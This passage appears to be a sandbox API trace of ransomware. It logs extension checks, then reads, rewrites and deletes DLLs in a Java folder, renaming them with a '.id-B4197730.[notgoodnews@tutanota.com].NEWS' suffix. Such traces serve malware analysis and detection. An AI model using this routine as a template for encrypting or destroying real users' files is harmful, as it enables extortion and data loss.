lpString2="p.dll") returned -1 [0092.303] lstrlenW (lpString=".ppt") returned 4 [0092.303] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.303] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0092.303] lstrlenW (lpString=".zip") returned 4 [0092.303] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.303] lstrlenW (lpString=".rar") returned 4 [0092.303] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.303] lstrlenW (lpString=".bz2") returned 4 [0092.303] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.303] lstrlenW (lpString=".7z") returned 3 [0092.303] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.303] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0092.303] lstrlenW (lpString=".dbf") returned 4 [0092.303] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.303] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0092.303] lstrlenW (lpString=".1cd") returned 4 [0092.303] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.303] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0092.303] lstrlenW (lpString=".jpg") returned 4 [0092.303] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.303] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0092.303] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0092.303] lstrlenW (lpString=".doc") returned 4 [0092.303] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.303] lstrlenW (lpString=".docx") returned 5 [0092.303] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0092.303] lstrlenW (lpString=".pdf") returned 4 [0092.303] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.303] lstrlenW (lpString=".xls") returned 4 [0092.303] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.303] lstrlenW (lpString=".xlsx") returned 5 [0092.303] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0092.304] lstrlenW (lpString=".ppt") returned 4 [0092.304] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.304] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0092.304] lstrlenW (lpString=".zip") returned 4 [0092.304] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.304] lstrlenW (lpString=".rar") returned 4 [0092.304] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.304] lstrlenW (lpString=".bz2") returned 4 [0092.304] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.304] lstrlenW (lpString=".7z") returned 3 [0092.304] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.304] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0092.304] lstrlenW (lpString=".dbf") returned 4 [0092.304] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.304] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0092.304] lstrlenW (lpString=".1cd") returned 4 [0092.304] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.304] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll") returned 50 [0092.304] lstrlenW (lpString=".jpg") returned 4 [0092.304] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.304] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.304] lstrlenW (lpString="msvcr120.dll") returned 12 [0092.304] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0092.305] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=963232) returned 1 [0092.305] CloseHandle (hObject=0x370) returned 1 [0092.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 0x20 [0092.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.305] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0092.305] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.305] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.305] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0092.306] GetLastError () returned 0x0 [0092.306] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0xeb2a0, lpOverlapped=0x0) returned 1 [0092.324] WriteFile (in: hFile=0x364, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xeb2b0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xeb2b0, lpOverlapped=0x0) returned 1 [0092.701] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.702] WriteFile (in: hFile=0x364, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1 [0092.702] SetEndOfFile (hFile=0x364) returned 1 [0092.702] CloseHandle (hObject=0x364) returned 1 [0092.702] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.702] SetEndOfFile (hFile=0x370) returned 1 [0092.710] CloseHandle (hObject=0x370) returned 1 [0092.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.711] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 1 [0092.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0092.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0092.711] lstrlenW (lpString=".doc") returned 4 [0092.711] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.711] lstrlenW (lpString=".docx") returned 5 [0092.711] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0092.711] lstrlenW (lpString=".pdf") returned 4 [0092.711] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.711] lstrlenW (lpString=".xls") returned 4 [0092.711] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.711] lstrlenW (lpString=".xlsx") returned 5 [0092.711] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0092.711] lstrlenW (lpString=".ppt") returned 4 [0092.711] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0092.711] lstrlenW (lpString=".zip") returned 4 [0092.711] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.711] lstrlenW (lpString=".rar") returned 4 [0092.711] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.711] lstrlenW (lpString=".bz2") returned 4 [0092.711] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.711] lstrlenW (lpString=".7z") returned 3 [0092.711] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.711] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0092.711] lstrlenW (lpString=".dbf") returned 4 [0092.712] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0092.712] lstrlenW (lpString=".1cd") returned 4 [0092.712] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0092.712] lstrlenW (lpString=".jpg") returned 4 [0092.712] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0092.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0092.712] lstrlenW (lpString=".doc") returned 4 [0092.712] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.712] lstrlenW (lpString=".docx") returned 5 [0092.712] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0092.712] lstrlenW (lpString=".pdf") returned 4 [0092.712] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.712] lstrlenW (lpString=".xls") returned 4 [0092.712] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.712] lstrlenW (lpString=".xlsx") returned 5 [0092.712] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0092.712] lstrlenW (lpString=".ppt") returned 4 [0092.712] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0092.712] lstrlenW (lpString=".zip") returned 4 [0092.712] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.712] lstrlenW (lpString=".rar") returned 4 [0092.712] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.712] lstrlenW (lpString=".bz2") returned 4 [0092.712] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.712] lstrlenW (lpString=".7z") returned 3 [0092.712] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0092.712] lstrlenW (lpString=".dbf") returned 4 [0092.712] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0092.712] lstrlenW (lpString=".1cd") returned 4 [0092.712] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.712] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0092.713] lstrlenW (lpString=".jpg") returned 4 [0092.713] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.713] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.713] lstrlenW (lpString="prism_d3d.dll") returned 13 [0092.713] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0092.714] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=130624) returned 1 [0092.714] CloseHandle (hObject=0x370) returned 1 [0092.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 0x20 [0092.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.714] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0092.714] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.714] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.714] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0092.715] GetLastError () returned 0x0 [0092.715] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x1fe40, lpOverlapped=0x0) returned 1 [0092.718] WriteFile (in: hFile=0x364, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x1fe50, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1fe50, lpOverlapped=0x0) returned 1 [0092.721] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.721] WriteFile (in: hFile=0x364, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xee, lpOverlapped=0x0) returned 1 [0092.721] SetEndOfFile (hFile=0x364) returned 1 [0092.721] CloseHandle (hObject=0x364) returned 1 [0092.721] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.721] SetEndOfFile (hFile=0x370) returned 1 [0092.723] CloseHandle (hObject=0x370) returned 1 [0092.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.723] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 1 [0092.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0092.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0092.723] lstrlenW (lpString=".doc") returned 4 [0092.723] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.723] lstrlenW (lpString=".docx") returned 5 [0092.723] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0092.723] lstrlenW (lpString=".pdf") returned 4 [0092.723] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.723] lstrlenW (lpString=".xls") returned 4 [0092.723] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.724] lstrlenW (lpString=".xlsx") returned 5 [0092.724] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0092.724] lstrlenW (lpString=".ppt") returned 4 [0092.724] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0092.724] lstrlenW (lpString=".zip") returned 4 [0092.724] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.724] lstrlenW (lpString=".rar") returned 4 [0092.724] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.724] lstrlenW (lpString=".bz2") returned 4 [0092.724] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.724] lstrlenW (lpString=".7z") returned 3 [0092.724] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0092.724] lstrlenW (lpString=".dbf") returned 4 [0092.724] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0092.724] lstrlenW (lpString=".1cd") returned 4 [0092.724] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0092.724] lstrlenW (lpString=".jpg") returned 4 [0092.724] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0092.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0092.724] lstrlenW (lpString=".doc") returned 4 [0092.724] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.724] lstrlenW (lpString=".docx") returned 5 [0092.724] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0092.724] lstrlenW (lpString=".pdf") returned 4 [0092.724] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.724] lstrlenW (lpString=".xls") returned 4 [0092.724] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.724] lstrlenW (lpString=".xlsx") returned 5 [0092.724] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0092.724] lstrlenW (lpString=".ppt") returned 4 [0092.724] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0092.725] lstrlenW (lpString=".zip") returned 4 [0092.725] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.725] lstrlenW (lpString=".rar") returned 4 [0092.725] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.725] lstrlenW (lpString=".bz2") returned 4 [0092.725] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.725] lstrlenW (lpString=".7z") returned 3 [0092.725] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0092.725] lstrlenW (lpString=".dbf") returned 4 [0092.725] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0092.725] lstrlenW (lpString=".1cd") returned 4 [0092.725] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0092.725] lstrlenW (lpString=".jpg") returned 4 [0092.725] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.725] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.725] lstrlenW (lpString="prism_sw.dll") returned 12 [0092.725] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0092.726] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=97856) returned 1 [0092.726] CloseHandle (hObject=0x370) returned 1 [0092.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 0x20 [0092.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.726] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0092.726] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.726] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.726] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0092.726] GetLastError () returned 0x0 [0092.726] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x17e40, lpOverlapped=0x0) returned 1 [0092.729] WriteFile (in: hFile=0x364, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x17e50, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x17e50, lpOverlapped=0x0) returned 1 [0092.732] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.732] WriteFile (in: hFile=0x364, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1 [0092.732] SetEndOfFile (hFile=0x364) returned 1 [0092.732] CloseHandle (hObject=0x364) returned 1 [0092.732] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.732] SetEndOfFile (hFile=0x370) returned 1 [0092.733] CloseHandle (hObject=0x370) returned 1 [0092.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.734] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 1 [0092.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0092.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0092.734] lstrlenW (lpString=".doc") returned 4 [0092.734] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.734] lstrlenW (lpString=".docx") returned 5 [0092.734] lstrcmpiW (lpString1=".docx", lpString2="w.dll") returned -1 [0092.734] lstrlenW (lpString=".pdf") returned 4 [0092.734] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.734] lstrlenW (lpString=".xls") returned 4 [0092.734] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.734] lstrlenW (lpString=".xlsx") returned 5 [0092.734] lstrcmpiW (lpString1=".xlsx", lpString2="w.dll") returned -1 [0092.734] lstrlenW (lpString=".ppt") returned 4 [0092.734] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0092.734] lstrlenW (lpString=".zip") returned 4 [0092.734] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.734] lstrlenW (lpString=".rar") returned 4 [0092.734] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.734] lstrlenW (lpString=".bz2") returned 4 [0092.734] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.735] lstrlenW (lpString=".7z") returned 3 [0092.735] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0092.735] lstrlenW (lpString=".dbf") returned 4 [0092.735] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0092.735] lstrlenW (lpString=".1cd") returned 4 [0092.735] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0092.735] lstrlenW (lpString=".jpg") returned 4 [0092.735] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0092.735] 